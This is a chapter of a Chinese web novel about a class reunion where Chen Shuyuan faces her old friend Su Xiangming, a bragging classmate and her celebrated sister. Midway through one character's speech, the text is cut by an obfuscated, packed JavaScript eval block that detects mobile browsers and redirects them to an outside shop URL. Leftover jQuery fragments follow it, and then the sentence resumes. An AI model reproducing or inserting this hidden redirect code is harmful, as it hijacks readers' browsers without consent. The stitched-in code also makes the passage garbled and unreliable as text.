文趣网 > 其他小说 > 樱季不来 > 27. 第二十七章
    雪一刻没停地下着,像时间流逝的痕迹,地上、树上、草丛里的雪堆得很厚,然而没一会就会被清洁工铲走,如同无用的记忆,无法留下存在的印记。

    陈殊圆出了地铁,往凯星大酒店的方向走去,她将厚重的羽绒服裹紧了一些,以抵御灌进衣领的寒气。

    Rick会是谁呢?当她进入2020房间时,她立刻就明白了,那个第一个朝她笑得那个人。

    苏向明。

    他早已褪去了高中时期的稚嫩,更瘦更高了,他穿着棕黄色的优衣库T恤,宽大而松垮的深色牛仔裤,脖子上围着粗细不一的套链,看起来非常闲适,又像是精心打扮过一样。

    在热络的环境里,他的耳朵有点红了。

    他朝她走过来,伸出了手。

    是要握手吗?陈殊圆不知美国回来的人如此注重礼仪,她只好伸出了手。

    苏向明笑得更灿烂了,他拉过她的手,几乎要把她整个人拉进自己怀里,说:“可以脱掉羽绒服了。”

    原来他是要为她挂衣服。陈殊圆顺从地脱下衣服,递给他。

    与她对话时,苏向明如此自然,像什么都没发生过一样。他为她端上温暖的茶水,问她怎么来的,还打趣她是否知道微信上的人就是他。

    “我猜你没猜出来。”苏向明坐在沙发上,示意她也坐下来,“你总是这样,不敢确定的事,就当他没有发生过。”

    陈殊圆皱了皱眉,她只是笑笑,但在苏向明的热情下,她的笑显得有些冷漠。

    其实她真正想问的是:你怎么能把那些真正发生的事情当做没发生一样呢?

    在她看来,他们最后的默然无异于决裂。

    事实上,她与在场的好多人都是默然的,那是因为他们从来未曾交汇过,可苏向明不同,她曾以为他们是整个世界最了解对方的人。

    也许在他看来,那是一段无足轻重的往事。

    他是一个受欢迎的人,无论在哪里都是,而陈殊圆只是他生活的一个角落,这个角落并没有因为他们的朝夕相处而放大,反而是拖泥带水的。

    也许他看我的方式与其他人一样。

    陈殊圆看着他以同样的方式接待接下来进房间的同学们,其他人对他都比自己热情,不是夸他帅气,就是问他是否还回美国,讨论任何回忆和计划都是迅速拉紧人们关系的好方法。

    他也为她们递上茶水,而她们则像那时候一样叽叽喳喳地说个不停,然后咯咯咯地笑起来。

    与学生时代不同,陈殊圆不是那个始终坐在他旁边的人了。

    过了一会,一个留着寸头的方脸男人举着茶杯过来了,他挑着眉,露出轻佻的笑来:“陈殊圆,对吗?”

    他一说话,陈殊圆就认出他了。他是张肃,高中时期他的脸圆圆的,头发微卷,脸上经常露出可怕的笑。那时候,陈殊圆从来不敢正眼看他。

    他见陈殊圆依旧坐在沙发上,露出了疑惑的表情,然而他很快明白,这是那些积怨在作祟,他心里升腾起某种快感,她比原来漂亮,而这种漂亮女人与自己产生了某种羁绊,不管它是好是坏,有羁绊就有故事。

    “怎么,还认不出哥哥我了?”张肃紧挨着她坐下,身上散发出浓烈的古龙水味。

    “张肃。”陈殊圆笑得勉强,散了散鼻子前的污浊气味。

    “认得就好说,”张肃举起茶杯,做出要干杯的样子,“怎么样,在哪公干呢?”

    陈殊圆并不回敬,只问道:“你呢?”

    张肃露出了“你算问对人了”的表情,胸膛一挺,嘴里发出啧啧声,开始讲起他的秘密生意,从他如何认识“张哥”开始将起,他如何倒卖这种秘密物资,如何在市场混的风生水起,甚至还开起了规模不小的公司,现在身价都要7位数了,他格外强调,这是保守估计。

    “平时我都是带大金链子的,这不是来同学聚会嘛,还是本着低调的原则。”他哈哈大笑,陈殊圆看到他脖子上的肉在微微颤动。

    陈殊圆扒开自己的衣袖,露出前年双十一买的天梭手表,给他看,“知道这是什么牌子吗?”

    张肃皱着眉仔细观察,摇摇头。

    “听说过绿水鬼吗?”陈殊圆刻意沉下声来,“这是银水鬼,看到这指针了没,深绿色的,使用绿宝石做的,万年一遇的宝石。”

    只听说过绿水鬼,却没听说银水鬼,这让张肃觉得自己掉了分儿,他连忙点头:“那个什么,宝达斐丽,劳力士啥的嘛!我懂我懂.......”

    “你又孤陋寡闻了不是?”陈殊圆极力掩饰笑意,“银水鬼可是比绿水鬼还要奢侈的东西,你一个大老板居然没听说过,你得多了解时代的发展,不然会被瞧不起的。”

    张肃认真看了这块手表好久,他真不明白为什么这块小小地毫不起眼的小手表竟然有这么多讲究,更不明白眼前这个面目可憎的女人是如何走到这一步的。

    他的脸像是一个大染缸,一会红一会紫的,连唇角的肌肉走向都开始不自然,他的声音不由自主地抬高:“你不要忘了你以前是什么样子,就一块破手表嘛,有什么了不起的,我分分钟买一个!”

    这不和谐的声音,瞬间引来了看热闹的眼睛,他原先的死党率先走过来,不屑地笑道:“肃哥又在吹嘘你那垃圾站生意呢?还跟咱们电视台大记者吹,你就不怕你这牛皮吹得太大以后收不住!”

    随之而来的哄堂大笑让张肃羞愤不以,他愤然站起来,一句话也没说,独自离开了。

    刘裕元,也就是张肃高中时的死党,也朝着陈殊圆举起杯子,他恭敬地笑着,眼里却带有些许算计:“陈大记者,咱喝一个?”

    他没有坐下,而是将自己的酒杯放得很低,以示自己的敬意。

    “这同学聚会一办,我就知道谁是这班上混得最好的,一是你这种,成绩好的,二是苏向明这种,成绩一般,但有家庭托举的,你们现在都成了人上人。”

    刘裕元得意地甩了甩他的油头,他觉得“托举”一词用得很好,能显示出自己的文化水平。

    “当然,还有你姐,那可是大天才啊,百年难得一遇的,我还记得她每次来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734423|207776||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    班上,全校有多少男生跑来班上来看她,那时候我们都以和她一个班为荣,我当时就想,你是她妹妹,肯定也有出息的......”

    刘裕元的话将她一下子拉回了高中时期,那最不愿触碰的角落,那表面平静却暗藏危险的海面。

    刘裕元的奉承让陈殊圆非常难受,她无法像怼张肃那样直接下猛药,也不能顺着他的话深想,她只能游离在对话的边缘,直到她看到门开了,进来了一个人。

    陈倾龄,她的姐姐。

    她看起来容光焕发,比先前看到的更光彩照人,但不是肤浅的那种,她深知这种场合并非花枝招展的好时机,而是应该体现自己的低调和内敛,这是她年少成名积累的经验,如今已成为本能。

    柔软的薄款羊绒杉,配上剪裁讲究,泛着轻微光泽的喇叭裤,还有简约大方的吊坠耳环和恰当得体的微笑,那样平易近人,却又拒人于千里之外。

    她和苏向明轻轻地拥抱,大概这才是美国时兴的见面礼吧。

    这种见面方式一瞬间就将其他所有人排斥在外了,仿佛他俩是一个世界的。

    在所有人的强烈要求下,陈倾龄坐到了主位,刘裕元抢占了她旁边的位置,而另一个位置被朱陈熙占领,苏向明丝毫不觉得遗憾,转头坐在了陈殊圆的身边。

    张肃围着桌子转了一圈,发现只剩下陈殊圆另一边的位置还空着。他不情愿地坐下,脸上的红还未褪去。

    “记者能赚那么多钱?”张肃忍不住问。

    “我可不是普通的记者,你去网上搜一搜,我可是很有名的记者,用现在的话说,流量可以赚钱......”陈殊圆一副神秘兮兮的样子。

    张肃掏出手机,鼓捣了半天,似乎没完全明白,这使他对眼前这个女人深信不疑,因为她是他了解那个世界的唯一途径了。

    “喂,怎么挣钱?直播带货吗?”张肃的身体朝陈殊圆倾斜,低声问。

    “有些东西不好跟你说得太细,说实话,比你那生意更神秘,如果这东西这么容易就说出来了,那不每个人都赚到钱了?这社会还有贫富差距吗?小张呐,你还得学!”

    陈殊圆自认为已经掌握了对付这种男人的绝招,那就是在浅显易懂的普世道理里藏一些“不可说”,神秘与简单相结合的敛财之路,谁不感兴趣呢?

    然而就在张肃因为敬仰频频与她敬酒时,她发现了来自另一边的笑意。

    陈殊圆看了眼苏向明,收敛了很多。

    “大家好像都变了。”苏向明说,“你也是。”

    “你还是那样,女生们还是抢着跟你说话,”陈殊圆看着他,“而你的眼里谁也没有。”

    他的嘴张了张,最后只是笑了下,陈殊圆看到他的手在微微抖动。

    “不对,应该说,你的眼里只有姐姐。”

    苏向明突然收敛起笑容,他的嘴因惊讶而张开,眼里全是疑惑,他因不知道说什么而将酒杯里的红酒一饮而下,他的皮肤很白,此时透着粉红的脸,突然变得通红。

    “你为什么会这样说?”